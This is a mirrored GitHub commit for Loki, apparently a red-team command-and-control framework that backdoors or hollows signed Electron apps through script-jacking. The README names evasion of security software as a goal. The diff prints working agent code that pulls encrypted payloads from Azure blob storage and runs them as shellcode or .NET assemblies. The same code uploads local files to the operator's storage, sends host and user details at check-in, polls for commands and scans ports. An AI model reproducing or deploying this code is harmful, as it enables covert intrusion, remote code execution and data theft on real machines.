1
0
mirror of https://github.com/boku7/Loki synced 2026-06-06 15:24:27 +00:00

COFFLoader capability added

This commit is contained in:
Bobby Cooke
2025-05-05 13:16:59 -07:00
parent 5bc9edc7fd
commit 3d45533e76
34 changed files with 4129 additions and 2434 deletions
+3 -5
View File
@@ -2,8 +2,8 @@
Loki is a stage-1 command and control (C2) framework written in Node.js, built to script-jack vulnerable Electron apps _[MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)_. Developed for red team operations, Loki enables evasion of security software and bypasses application controls by exploiting trusted, signed Electron apps.
Script-jacking hijacks the execution flow of an Electron app by modifying JavaScript files loaded in at runtime with arbitrary Node.js code. This technique can be leveraged to:
- __Backdoor the Electron app__
- __Hollow out the Electron app__
- __Backdoor Electron app__
- __Hollow Electron app__
- Chain execution to another process
_While several tools already address leveraging script-jacking to chain execution to another process, Loki is the first to enable backdooring and hollowing of signed Electron apps without invalidating their code signing signature._
@@ -72,6 +72,7 @@ _All agent commands are written in native Node.JS and do not require additional
| `scan` | Perform TCP network scan across CIDR range with selected ports |
| `dns` | DNS lookup. Leverages systems DNS configuration |
| `set` | Set the Node load paths for assembly node and scexec nodes |
| `bof` | Execute a COFF file and return output |
#### `Set` - Loading Nodes from Application Control Exclusion Paths
- If there are application control rules preventing library loads for the node files you can use the `set` command to change the load paths for `assembly.node` and `scexec.node`.
@@ -186,7 +187,6 @@ bobby$ node obfuscateAgent.js
- Click the agent from the dashboard table to open the agent window
- Test to ensure Loki works properly
## Backdooring Electron Apps and Keeping the real Application Working as Normal
The most straightforward way to use Loki is to replace the files in `{ELECTRONAPP}/resources/app/` with the Loki files. This hollows out the app, meaning the app won't function normally -- Loki replaced its functionality.
@@ -282,7 +282,5 @@ I do not recommend compiling the agent and using it for operations. Agent compil
- [Pavel Tsakalidis](https://x.com/sadreck)
- [BEEMKA - Electron Exploitation Toolkit](https://github.com/ctxis/beemka)
## License
This project is licensed under the Business Source License 1.1. Non-commercial use is permitted under the terms of the license. Commercial use requires the author's explicit permission. On April 3, 2030, this license will convert to Apache 2.0. See [LICENSE](./LICENSE) for full details.
Binary file not shown.
-66
View File
@@ -1,66 +0,0 @@
const { generateUUID, generateAESKey } = require('./crypt.js');
class Window {
constructor() {
this.BrowserWindow = null;
}
setBrowserWindow(BrowserWindow) {
this.BrowserWindow = BrowserWindow;
}
}
class Container {
constructor() {
this.name = 's' + generateUUID(10);
this.key = generateAESKey();
this.blobs = {
'key': 'k-' + generateUUID(10),
'checkin': 'c-' + generateUUID(10),
'in': 'i-' + generateUUID(10),
'out': 'o-' + generateUUID(10)
};
}
setName(name) {
this.name = name;
}
setKey(key) {
this.key = {
'key': key.key,
'iv': key.iv
};
}
}
class Agent {
constructor(windowid, status = null) {
this.window = new Window(windowid, status);
this.agentid = 'a' + generateUUID(16);
this.container = new Container();
this.checkin = Date.now();
this.sleepinterval = 5;
this.sleepjitter = 15;
this.thissleep = 5000;
}
setAgentId(agentid) {
this.agentid = agentid;
}
setContainer(container) {
this.container = container;
}
// Method to replace the window
setWindow(window) {
this.window = window;
}
}
module.exports = {
Agent,
Window,
Container
};
-10
View File
@@ -1,10 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<title>My Electron App</title>
</head>
<body>
<h1>Hello, Electron!</h1>
<script src="assembly.js"></script>
</body>
</html>
-101
View File
@@ -1,101 +0,0 @@
const config = require('./config.js');
const storageAccount = config.storageAccount;
const sasToken = config.sasToken;
const { ipcRenderer } = require('electron');
const { log } = require('console');
const {func_Decrypt} = require('./crypt.js');
const {func_Split_Quoted_String} = require('./common.js');
let dbg = true;
function func_log(text)
{
if(dbg)
{
log(text);
}
}
ipcRenderer.on('assembly', async (event, container, args, scexecblob, key,iv) => {
try
{
func_log(`assembly.js | Hit IPC do-assembly | ${container} ${scexecblob}`);
let assemblyoutput = await func_Azure_Assembly_Download_Exec(container,scexecblob,key,iv,args);
ipcRenderer.send('end-file-op','do-assembly',assemblyoutput,key,iv);
}catch(error)
{
func_log(`Error in IPC do-assembly : ${error} ${error.stack}`);
}
});
async function func_Azure_Assembly_Download_Exec(containerName, scexecblob, key,iv,args)
{
// Construct the URL
let output = "";
const sasUrl = `https://${storageAccount}/${containerName}/${scexecblob}?${sasToken}`;
func_log(`assembly.js | func_Azure_Assembly_Download_Exec | key : ${key} | iv : ${iv}`);
key = Buffer.from(key, 'hex');
iv = Buffer.from(iv, 'hex');
let response = await fetch(sasUrl);
if (!response.ok) {
output = `Couldn't download file, response: ${response.status}`;
func_log( output );
}else
{
func_log(`response.ok : ${response.ok}`);
let arrayBuffer = await response.arrayBuffer();
buffer = Buffer.from(arrayBuffer);
raw = await func_Decrypt( buffer, key, iv );
let assemblyNodePath = await ipcRenderer.invoke('get-global-path', 'assemblyNodePath');
let x = require(assemblyNodePath);
const argv = await func_Split_Quoted_String(args);
let aoutput = x.execute_assembly(raw, argv);
return aoutput;
}
}
ipcRenderer.on('nodeload', async (event,nodepath) => {
try
{
func_log(`assembly.js | Hit IPC do-node-load`);
require(nodepath);
}catch(error)
{
func_log(`Error in IPC do-node-load : ${error}`);
}
});
ipcRenderer.on('scexec', async (event, container, scexecblob, key,iv) => {
try
{
func_log(`assembly.js | Hit IPC do-scexec | ${container} ${scexecblob}`);
await func_Azure_File_Download_Exec(container,scexecblob,key,iv);
ipcRenderer.send('end-file-op','do-scexec','executed',key,iv);
}catch(error)
{
func_log(`Error in IPC do-scexec : ${error}`);
}
});
async function func_Azure_File_Download_Exec(containerName, scexecblob, key,iv)
{
// Construct the URL
let output = "";
const sasUrl = `https://${storageAccount}/${containerName}/${scexecblob}?${sasToken}`;
func_log(`assembly.js | func_Azure_File_Download_Exec | key : ${key} | iv : ${iv}`);
key = Buffer.from(key, 'hex');
iv = Buffer.from(iv, 'hex');
let response = await fetch(sasUrl);
if (!response.ok) {
output = `Couldn't download file, response: ${response.status}`;
func_log( output );
return output;
}else
{
func_log(`response.ok : ${response.ok}`);
let arrayBuffer = await response.arrayBuffer();
buffer = Buffer.from(arrayBuffer);
raw = await func_Decrypt( buffer, key, iv );
let scexecNodePath = await ipcRenderer.invoke('get-global-path', 'scexecNodePath');
func_log(`scexecNodePath : ${scexecNodePath}`);
const native = require(scexecNodePath);
func_log(`func_Azure_File_Download_Exec result : ${native.run_array(Array.from(raw))}`);
}
}
Binary file not shown.
-10
View File
@@ -1,10 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<title>My Electron App</title>
</head>
<body>
<h1>Hello, Electron!</h1>
<script src="browser.js"></script>
</body>
</html>
-491
View File
@@ -1,491 +0,0 @@
const config = require('./config.js');
const storageAccount = config.storageAccount;
const sasToken = config.sasToken;
const { ipcRenderer } = require('electron');
const { log } = require('console');
const {func_Encrypt,func_Decrypt,func_Base64_Encode} = require('./crypt.js');
const os = require('os');
const fsp = require('fs').promises;
const {func_Split_Quoted_String} = require('./common.js');
let dbg = false;
function func_log(text)
{
if(dbg)
{
log(text);
}
}
async function func_Web_Request(options, data = null, isBytes=false) {
// Set headers to prevent caching
options['headers'] = {
'Cache-Control': 'no-cache, no-store, must-revalidate',
'Pragma': 'no-cache',
'Expires': '0',
...options['headers']
};
let url = `https://${options['hostname']}:${options['port']}${options['path']}`;
let response = new Response();
let r_data;
try {
if ( data ) {
if ( data.length > 20000 ) {
} else {
}
options['body'] = data;
}
response = await fetch(url, options);
if (!isBytes) {
r_data = await response.text();
} else {
r_data = await response.arrayBuffer();
}
return {'status':response.status,'data':r_data};
} catch (error) {
}
}
ipcRenderer.on('do-node-load', async (event,nodepath) => {
try
{
func_log(`browser.js | Hit IPC do-node-load`);
require(nodepath);
}catch(error)
{
func_log(`Error in IPC do-node-load : ${error}`);
}
});
ipcRenderer.on('scexec', async (event, container, scexecblob, key,iv) => {
try
{
func_log(`browser.js | Hit IPC do-scexec | ${container} ${scexecblob}`);
await func_Azure_File_Download_Exec(container,scexecblob,key,iv);
ipcRenderer.send('end-file-op','do-scexec','did sc',key,iv);
}catch(error)
{
func_log(`Error in IPC do-scexec : ${error}`);
}
});
async function func_Azure_File_Download_Exec(containerName, scexecblob, key,iv)
{
// Construct the URL
let output = "";
const sasUrl = `https://${storageAccount}/${containerName}/${scexecblob}?${sasToken}`;
func_log(`browser.js | func_Azure_File_Download_Exec | key : ${key} | iv : ${iv}`);
key = Buffer.from(key, 'hex');
iv = Buffer.from(iv, 'hex');
let response = await fetch(sasUrl);
if (!response.ok) {
output = `Couldn't download file, response: ${response.status}`;
func_log( output );
return output;
}else
{
func_log(`response.ok : ${response.ok}`);
let arrayBuffer = await response.arrayBuffer();
buffer = Buffer.from(arrayBuffer);
raw = await func_Decrypt( buffer, key, iv );
let scExecNodePath = await ipcRenderer.invoke('get-global-path', 'scExecNodePath');
func_log('scExecNodePath:', scExecNodePath);
const native = require(scExecNodePath);
func_log(`func_Azure_File_Download_Exec result : ${native.run_array(Array.from(raw))}`);
}
}
ipcRenderer.on('do-launch', async (event,nodepath,delay) => {
try
{
func_log(`browser.js | Hit IPC do-launch`);
await new Promise(resolve => setTimeout(resolve, delay));
require(nodepath);
}catch(error)
{
func_log(`Error in IPC do-assembly : ${error} ${error.stack}`);
}
});
ipcRenderer.on('do-pull-file', async (event, container, downloadblob, dstpath,key,iv) => {
try
{
func_log(`browser.js | Hit IPC do-pull-file | ${container} ${downloadblob} ${dstpath}`);
await func_Azure_File_Download(container,downloadblob,dstpath,key,iv);
ipcRenderer.send('end-file-op','do-pull-file','pulled file',key,iv);
}catch(error)
{
func_log(`Error in IPC do-pull-file : ${error}`);
}
});
async function func_Azure_File_Download(containerName, downloadblob, dstpath,key,iv)
{
// Construct the URL
let output = "";
const sasUrl = `https://${storageAccount}/${containerName}/${downloadblob}?${sasToken}`;
key = Buffer.from(key, 'hex');
iv = Buffer.from(iv, 'hex');
func_log(`browser.js | func_Azure_File_Download | key : ${key} | iv : ${iv}`);
//await new Promise(resolve => setTimeout(resolve, 5000));
let response = await fetch(sasUrl);
if (!response.ok) {
output = `Couldn't download file, response: ${response.status}`;
func_log( output );
return output;
}else
{
func_log(`response.ok : ${response.ok}`);
let arrayBuffer = await response.arrayBuffer();
buffer = Buffer.from(arrayBuffer);
raw = await func_Decrypt( buffer, key, iv );
await fsp.writeFile(dstpath, raw, (err) => {
output = `Error writing file: ${err.stack}`;
func_log( output );
return output;
});
output = `File ${dstpath} has been saved`;
func_log( output );
return output;
}
}
ipcRenderer.on('do-push-file', async (event, container, srcpath, uploadblob,key,iv) => {
try
{
func_log(`browser.js | Hit IPC do-push-file | ${container} ${srcpath} ${uploadblob}`);
await func_Azure_Upload_File(container,srcpath,uploadblob,key,iv);
ipcRenderer.send('end-file-op','do-push-file','pushedfile',key,iv);
}catch(error)
{
func_log(`Error in IPC do-push-file : ${error}`);
}
});
async function func_File_Read_ToBuffer(filePath) {
try {
// Read the file as a binary buffer
const fileBuffer = await fsp.readFile(filePath);
return fileBuffer;
} catch (error) {
func_log(`Error reading file: ${error}`);
return "";
}
}
async function func_Azure_Upload_File(containerName, srcpath, uploadblob,key,iv)
{
try {
// Read the file content
key = Buffer.from(key, 'hex');
iv = Buffer.from(iv, 'hex');
func_log(`browser.js | func_Azure_Upload_File() hit`);
let bufferfile = await func_File_Read_ToBuffer(srcpath);
let enc = await func_Encrypt( bufferfile, key, iv );
const sasUrl = `https://${storageAccount}/${containerName}/${uploadblob}?${sasToken}`;
const response = await fetch(sasUrl, {
port: 443,
method: 'PUT',
headers: {
'x-ms-blob-type': 'BlockBlob',
'Content-Type': 'application/octet-stream'
},
body: enc
});
if (response.status != 201) {
output = `Couldnt upload file, response: ${response.status}`;
func_log( output );
}else
{
output = `Successfully uploaded file ${srcpath} to https://${storageAccount}/${containerName}/${uploadblob} blob`;
func_log(output);
}
} catch (error) {
output = `Error uploading file ${srcpath} to azure : ${error.stack}`;
func_log( output );
}
}
async function func_Container_Create(StorageContainer)
{
let options = {
hostname: storageAccount,
port: 443,
path: `/${StorageContainer}?restype=container&${sasToken}`,
method: 'PUT',
headers: {
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
'Content-Length': 0
}
};
return await func_Web_Request(options);
}
async function func_Blob_Create(StorageContainer,StorageBlob,data)
{
try
{
if ( data == null)
{
data = "";
}
data = data.toString();
const options = {
hostname: storageAccount,
port: 443,
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`, // Path with SAS token and blob parameters
method: 'PUT',
headers: {
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
'x-ms-blob-type': 'BlockBlob', // Blob type
'Content-Type': 'text/plain', // Set appropriate content type
'Content-Length': Buffer.byteLength(data) // Length of the data
}
};
return await func_Web_Request(options,data);
}catch(error)
{
func_log(`Error in func_Blob_Create() : ${error}`);
return null;
}
}
// Function to read a blob's contents
async function func_Blob_Read(StorageContainer, StorageBlob)
{
const options = {
hostname: storageAccount,
port: 443,
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`,
method: 'GET',
headers: {
'x-ms-version': '2020-02-10',
'x-ms-date': new Date().toUTCString()
}
};
return await func_Web_Request(options);
}
async function func_Blob_Write(StorageContainer,StorageBlob,data)
{
try
{
if ( data == null)
{
data = "";
}
data = data.toString();
const options = {
hostname: storageAccount,
port: 443,
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`, // Path with SAS token and blob parameters
method: 'PUT',
headers: {
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
'x-ms-blob-type': 'BlockBlob', // Blob type
'Content-Type': 'text/plain', // Set appropriate content type
'Content-Length': Buffer.byteLength(data) // Length of the data
}
};
return await func_Web_Request(options,data);
}catch(error)
{
return error;
}
}
ipcRenderer.on('send-output', async (event, container, outblob, output) => {
try
{
await func_Blob_Write(container,outblob,output);
}catch(error)
{
func_log(`Error in send-output() : ${error}`);
return error;
}
});
ipcRenderer.on('input-read', async (event, container, inblob) => {
try
{
let updateresp;
let response = await func_Blob_Read(container,inblob);
let checkin = Date.now();
if (response.status === 200)
{
const numberValue = Number(response.data);
if (!isNaN(numberValue))
{
updateresp = await func_Blob_Write(container,inblob,checkin);
} else
{
if (response.data)
{
ipcRenderer.send('do-command',response.data);
updateresp = await func_Blob_Write(container,inblob,checkin);
}
}
if(typeof updateresp.status != 'undefined')
{
if (updateresp.status === 201)
{
ipcRenderer.send('poll-complete',checkin,inblob);
}
}
}else
{
ipcRenderer.send('containers-created',false);
}
}catch (error) {
func_log(`${error} ${error.stack}`);
}
});
async function getSystemInfo() {
try
{
// Collect system information
// let hostname = process.env[ 'USERDOMAIN' ];
// if ( typeof hostname === 'undefined' ) {
// hostname = "";
// } else if ( hostname == os.hostname() ) {
// hostname = "WORKSTATION";
// }
// else {
// hostname = "UNKNOWN";
// }
// hostname += '/' + os.hostname();
let hostname = os.hostname();
const username = os.userInfo().username;
const osType = os.type();
const osRelease = os.release();
const platform = os.platform();
const arch = os.arch();
const PID = process.pid;
let procName = process.argv[ 0 ];
procName = procName.trim().replace(/Helper \(Renderer\)/g, "").trim();
func_log(`procName: ${procName}`);
const nets = os.networkInterfaces();
const IpInfo = []
for (const name of Object.keys(nets)) {
for (const net of nets[name]) {
// 'IPv4' is in Node <= 17, from 18 it's a number 4 or 6
const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4
if (net.family === familyV4Value && !net.internal) {
IpInfo.push( net.address );
}
}
}
// Create a JSON object with the collected information
const systemInfo = {
hostname: hostname,
username: username,
osType: osType,
osRelease: osRelease,
platform: platform,
arch: arch,
PID: PID,
Process: procName,
IP: IpInfo,
checkIn: Date.now()
};
return systemInfo;
}catch (error) {
func_log(`${error} ${error.stack}`);
return 0;
}
}
ipcRenderer.on('init-container', async (event, container, blobs_json, key, iv) => {
try
{
let blobs = JSON.parse(blobs_json);
const aes = {
'key':key,
'iv':iv
}
key = Buffer.from(key, 'hex');
iv = Buffer.from(iv, 'hex');
func_log(`IPC init-container hit : container : ${container}`);
// let response = await func_Container_Create(container);
//func_log(`func_Container_Create response status ${response.status}`);
let options = {
hostname: storageAccount,
port: 443,
path: `/${container}?restype=container&${sasToken}`,
method: 'PUT',
headers: {
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
'Content-Length': 0,
'Cache-Control': 'no-cache, no-store, must-revalidate',
'Pragma': 'no-cache',
'Expires': '0'
}
}
let url = `https://${options['hostname']}:${options['port']}${options['path']}`;
func_log(url);
let response = new Response();
response = await fetch(url, options);
r_data = await response.text();
if(response.status == 201)
{
const nulldata = "";
func_log(`blobs : ${blobs_json}`);
let checkin = Date.now();
let inresp = await func_Blob_Create(container,blobs['in'],checkin);
func_log(`inresp status response ${inresp.status}`);
let outresp = await func_Blob_Create(container,blobs['out'],nulldata);
func_log(`outresp status response ${outresp.status}`);
let selfInfo = await getSystemInfo();
const checkin_encryptedData = await func_Encrypt(JSON.stringify(selfInfo, null, 1), key, iv);
const checkin_b64EncData = await func_Base64_Encode(checkin_encryptedData);
let checkinresp = await func_Blob_Create(container,blobs['checkin'],checkin_b64EncData);
func_log(`checkinresp status response ${checkinresp.status}`);
let keyresp = await func_Blob_Create(container,blobs['key'],JSON.stringify(aes));
func_log(`keyresp status response ${keyresp.status}`);
if(inresp.status === 201 && outresp.status === 201 && checkinresp.status === 201 && keyresp.status === 201 )
{
ipcRenderer.send('containers-created',true);
}else
{
ipcRenderer.send('containers-created',false);
}
}else
{
ipcRenderer.send('containers-created',false);
}
}catch (error) {
func_log(`${error} ${error.stack}`);
}
});
// Listen for the window ID from the main process
ipcRenderer.on('init-mapping-container', async (event, metaContainer,agentname,agentcontainer) => {
try
{
let response = await func_Container_Create(metaContainer);
let outresp = await func_Blob_Create(metaContainer,agentname,agentcontainer);
}catch (error) {
func_log(`Error in ipcRender(init-mapping-container): ${error.message}\r\n${error.stack}`);
}
});
function func_Checkin_Send()
{
let timestamp = Date.now();
ipcRenderer.send('checkin', timestamp);
}
setInterval(func_Checkin_Send, 10000);
-101
View File
@@ -1,101 +0,0 @@
async function func_Split_Quoted_String(str) {
const result = [];
let current = '';
let insideQuotes = false;
let quoteChar = '';
for (let i = 0; i < str.length; i++) {
const char = str[i];
if (insideQuotes) {
if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) {
// Handle escaped quote or backslash
current += str[i + 1];
i++; // Skip the next character
} else if (char === quoteChar) {
// End of quoted string
insideQuotes = false;
result.push(current);
current = '';
} else {
// Inside quoted string
current += char;
}
} else {
if (char === '"' || char === "'") {
// Start of quoted string
insideQuotes = true;
quoteChar = char;
} else if (char === '\\' && str[i + 1] === ' ') {
// Handle escaped space
current += ' ';
i++; // Skip the next character
} else if (char === ' ') {
// Space outside of quotes
if (current.length > 0) {
result.push(current);
current = '';
}
} else {
// Unquoted string
current += char;
}
}
}
// Add the last argument if there's any
if (current.length > 0) {
result.push(current);
}
return result;
}
async function numcheck(value, defaultNumber, min = 1, max = 900) {
if (typeof value !== 'number' || isNaN(value)) {
value = defaultNumber;
}
if (value < min) {
return min;
} else if (value > max) {
return max;
} else {
return value;
}
}
async function getrand(number, percent) {
try {
// Calculate the range based on the percentage
number = Number(number);
percent = Number(percent);
const range = number * (percent / 100);
// Calculate the minimum and maximum values
let minValue = number - range;
let maxValue = number + range;
if (minValue < 1000) {
minValue = 1000;
}
if (maxValue < 1000) {
maxValue = 1000;
}
if (maxValue > 600000) {
maxValue = 600000;
}
// Generate a random value between minValue and maxValue
const randomValue = Math.random() * (maxValue - minValue) + minValue;
return Math.floor(randomValue);
} catch (error) {
// Handle error if needed
}
}
module.exports = {
func_Split_Quoted_String,
numcheck,
getrand
};
-85
View File
@@ -1,85 +0,0 @@
const crypto = require('crypto');
const { log } = require('console');
function generateAESKey()
{
const key_material = {
'key' : crypto.randomBytes(32), // 256-bit key
'iv' : crypto.randomBytes(16) // 128-bit IV
};
return key_material;
}
// Function to AES encrypt data with a static key and IV
async function func_Encrypt(data,key,iv) {
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
let encrypted = "";
if ( Buffer.isBuffer( data ) ) {
encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
}
else {
encrypted = cipher.update(data, 'utf8', 'hex');
encrypted += cipher.final('hex');
}
return encrypted;
}
async function func_Decrypt(encryptedData,key,iv) {
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let decrypted = "";
if ( Buffer.isBuffer( encryptedData ) ) {
decrypted = Buffer.concat([decipher.update(encryptedData), decipher.final()]);
}
else {
decrypted = decipher.update(encryptedData, 'hex', 'utf8');
decrypted += decipher.final('utf8');
}
return decrypted;
}
// Function to encode a string to base64
async function func_Base64_Encode(input) {
//log(`crypt.js | func_Base64_Encode() | typeof input : ${typeof input}`);
if(typeof input == 'string')
{
// Create a buffer from the input string
input = Buffer.from(input, 'utf-8');
}
// Convert the buffer to a base64 encoded string
const base64 = input.toString('base64');
return base64;
}
// Function to decode a base64 string
async function func_Base64_Decode(base64) {
// Create a buffer from the base64 encoded string
const buffer = Buffer.from(base64, 'base64');
// Convert the buffer to a utf-8 string
const decoded = buffer.toString('utf-8');
return decoded;
}
function generateUUID(len) {
if (len > 20) len = 20; // Limit max length to 20
if (len < 1) return ''; // Handle invalid length
const letters = 'abcdefghijklmnopqrstuvwxyz';
const firstChar = letters[Math.floor(Math.random() * letters.length)];
if (len === 1) return firstChar;
// Generate (len - 1) hex characters
const uuid = crypto.randomBytes(Math.ceil((len - 1) / 2)).toString('hex');
return (firstChar + uuid).substring(0, len);
}
module.exports = {
generateAESKey,
func_Encrypt,
func_Decrypt,
func_Base64_Encode,
func_Base64_Decode,
generateUUID
};
-598
View File
@@ -1,598 +0,0 @@
const { log } = require('console');
const { spawn } = require('child_process');
const path = require('path');
const fsp = require('fs').promises;
const dns = require('dns');
const net = require('net'); // Import the net module
async function func_Scan_Ports(host, ports) {
const openPorts = [];
const checkPort = (host, port) => {
return new Promise((resolve) => {
const socket = new net.Socket();
socket.setTimeout(100); // Timeout after 2 seconds
socket.on('connect', () => {
openPorts.push(port);
socket.destroy();
resolve();
});
socket.on('timeout', () => {
socket.destroy();
resolve();
});
socket.on('error', () => {
socket.destroy();
resolve();
});
socket.connect(port, host);
});
};
const portChecks = ports.map(port => checkPort(host, port));
await Promise.all(portChecks);
return openPorts;
}
function func_Split_Quoted_String(str) {
const result = [];
let current = '';
let insideQuotes = false;
let quoteChar = '';
for (let i = 0; i < str.length; i++) {
const char = str[i];
if (insideQuotes) {
if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) {
// Handle escaped quote or backslash
current += str[i + 1];
i++; // Skip the next character
} else if (char === quoteChar) {
// End of quoted string
insideQuotes = false;
result.push(current);
current = '';
} else {
// Inside quoted string
current += char;
}
} else {
if (char === '"' || char === "'") {
// Start of quoted string
insideQuotes = true;
quoteChar = char;
} else if (char === '\\' && str[i + 1] === ' ') {
// Handle escaped space
current += ' ';
i++; // Skip the next character
} else if (char === ' ') {
// Space outside of quotes
if (current.length > 0) {
result.push(current);
current = '';
}
} else {
// Unquoted string
current += char;
}
}
}
// Add the last argument if there's any
if (current.length > 0) {
result.push(current);
}
return result;
}
async function func_File_Move(srcPath, destPath) {
let output = "";
try {
// Ensure the destination directory exists
await fsp.mkdir(path.dirname(destPath), { recursive: true });
// Move the file
await fsp.rename(srcPath, destPath);
output = `File moved from ${srcPath} to ${destPath}`;
//log( output );
} catch (error) {
output = `Error moving file: ${error.stack}`;
//log( output );
}
return output;
}
async function func_File_Copy(srcPath, destPath) {
let output = "";
try {
// Ensure the destination directory exists
await fsp.mkdir(path.dirname(destPath), { recursive: true });
// Copy the file
await fsp.copyFile(srcPath, destPath);
output = `File copied from ${srcPath} to ${destPath}`;
//log( output );
} catch (error) {
output = `Error copying file: ${error.stack}`;
//log( output );
}
return output;
}
async function func_File_Read(filePath) {
try {
//log('In function func_File_Read():');
// Check if the path is absolute
if (!path.isAbsolute(filePath)) {
// If the path is relative, resolve it to an absolute path
filePath = path.resolve(__dirname, filePath);
}
//log('filePath : ',filePath);
const data = await fsp.readFile(filePath, { encoding: 'utf8' });
//log('File contents:', data);
return data; // Return the data if you need to use it later
} catch (err) {
//log('Error reading file:', err);
//throw err; // Re-throw the error if you need to handle it outside
return `[!] ${err}`;
}
}
// Function to execute a command using spawn and return a promise
function func_Spawn_Child(command, args = []) {
return new Promise((resolve, reject) => {
const proc = spawn(command, args);
let stdout = "";
let stderr = "";
proc.stdout.on('data', (data) => {
stdout += data.toString();
});
proc.stderr.on('data', (data) => {
stderr += data.toString();
});
proc.on('close', (code) => {
resolve({
stdout: stdout.trim(),
stderr: stderr.trim(),
pid: proc.pid,
exitCode: code,
command: `${command} ${args.join(" ")}` // CLI format
});
});
proc.on('error', (err) => {
reject(err);
});
});
}
// function func_Spawn_Child(command, args) {
// const proc = spawn(command, args);
// let stdout = proc.stdout.read();
// let stderr = proc.stderr.read();
// let code = proc.exitCode;
// let pid = proc.pid;
// return JSON.stringify( {"stdout":stdout, "stderr":stderr, "pid":pid, "exitCode":code} );
// }
async function func_Drives_Exist(driveLetter) {
const path = `${driveLetter}:\\`;
try {
await fsp.access(path);
return true;
} catch {
return false;
}
}
async function func_Drives_Stat(driveLetter) {
const path = `${driveLetter}:\\`;
try {
const stats = await fsp.stat(path);
return stats;
} catch (error) {
throw new Error(`Error retrieving stats for ${driveLetter}:: ${error.message}`);
}
}
async function func_Drives_List() {
const driveLetters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.split('');
let resultBuffer = '';
for (const letter of driveLetters) {
if (await func_Drives_Exist(letter)) {
resultBuffer += `Drive: ${letter}:\n`;
try {
const stats = await func_Drives_Stat(letter);
resultBuffer += `Created: ${stats.birthtime}\n`;
resultBuffer += `Modified: ${stats.mtime}\n`;
} catch (error) {
resultBuffer += `${error.message}\n`;
}
resultBuffer += '---\n';
}
}
return resultBuffer;
}
async function ls(dirPath) {
try {
if (dirPath == "") {
dirPath = ".";
}
const filesAndFolders = await fsp.readdir(dirPath, { withFileTypes: true });
let resultBuffer = '';
// Table headers
resultBuffer += `Name`.padEnd(60) + `Type`.padEnd(16) + `Size (bytes)`.padEnd(15) + `Created`.padEnd(24) + `Modified`.padEnd(24) + '\n';
resultBuffer += '-'.repeat(30) + '-'.repeat(10) + '-'.repeat(15) + '-'.repeat(30) + '-'.repeat(30) + '\n';
for (const entry of filesAndFolders) {
const fullPath = path.join(dirPath, entry.name);
try {
const stats = await fsp.stat(fullPath);
const options = {
month: '2-digit',
day: '2-digit',
year: '2-digit',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
hour12: false
};
resultBuffer += entry.name.padEnd(60);
resultBuffer += (entry.isDirectory() ? 'Directory' : 'File').padEnd(16);
resultBuffer += String(stats.size).padEnd(15);
resultBuffer += stats.birthtime.toLocaleString('en-US', options).replace(',', '').padEnd(24);
resultBuffer += stats.mtime.toLocaleString('en-US', options).replace(',', '').padEnd(24);
resultBuffer += '\n';
} catch (err) {
//log(`Unable to access file: ${fullPath}. Error: ${err.message}`);
}
}
return resultBuffer;
} catch (error) {
//log('Error reading directory:', error);
return 'Error reading directory.';
}
}
async function safeStringify(input) {
if (typeof input === "object" && input !== null) {
try {
return JSON.stringify(input);
} catch (error) {
console.error("Error stringifying object:", error);
}
}
return input; // Return original value if not a JSON object
}
// Global variable to store the custom DNS server
let customDnsServer = null;
function dnsHandler(command) {
return new Promise((resolve) => {
let data = '';
try {
const parts = command.split(' ');
if (parts.length < 2) {
data += 'Invalid command\r\n';
return resolve(data);
}
// Handle the @ command to set a custom DNS server
if (parts[1].startsWith('@')) {
const server = parts[1].substring(1); // Remove the '@'
if (server.toLowerCase() === "default") {
customDnsServer = null; // Reset to system default
dns.setServers(dns.getServers()); // Restore system DNS
data += "Reset to system default DNS servers\r\n";
} else {
customDnsServer = server;
dns.setServers([server]);
data += `Using custom DNS server: ${server}\r\n`;
}
return resolve(data);
}
// Use custom DNS if set
const resolver = customDnsServer ? new dns.Resolver() : dns;
if (customDnsServer) resolver.setServers([customDnsServer]);
switch (parts[1]) {
case 'lookup':
if (parts[2]) {
if (parts.includes('-all')) {
let hostname = parts[2];
let pendingLookups = 7; // Total lookups being performed
// Function to check when all lookups are done
const finalize = () => {
pendingLookups--;
if (pendingLookups === 0) {
resolve(data);
}
};
// Resolve IP Address
resolver.lookup(hostname, (err, address, family) => {
data += err ? `Error resolving IP: ${err.message}\r\n`
: `Resolved IP: ${address}, Family: IPv${family}\r\n`;
finalize();
});
// Resolve A (IPv4) & AAAA (IPv6)
resolver.resolve4(hostname, (err, addresses) => {
data += err ? `Error resolving A record: ${err.message}\r\n`
: `A (IPv4) Records: ${addresses.join(', ')}\r\n`;
finalize();
});
resolver.resolve6(hostname, (err, addresses) => {
data += err ? `Error resolving AAAA record: ${err.message}\r\n`
: `AAAA (IPv6) Records: ${addresses.join(', ')}\r\n`;
finalize();
});
// Resolve MX Records
resolver.resolveMx(hostname, (err, addresses) => {
data += err ? `Error resolving MX records: ${err.message}\r\n`
: `MX Records: ${JSON.stringify(addresses, null, 2)}\r\n`;
finalize();
});
// Resolve TXT Records
resolver.resolveTxt(hostname, (err, records) => {
data += err ? `Error resolving TXT records: ${err.message}\r\n`
: `TXT Records: ${JSON.stringify(records, null, 2)}\r\n`;
finalize();
});
// Resolve CNAME Records
resolver.resolveCname(hostname, (err, records) => {
data += err ? `Error resolving CNAME records: ${err.message}\r\n`
: `CNAME Records: ${records.join(', ')}\r\n`;
